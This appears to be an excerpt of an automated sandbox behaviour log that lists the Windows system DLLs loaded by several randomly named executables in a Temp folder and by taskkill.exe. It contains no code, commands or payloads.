Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: napinsp.dll
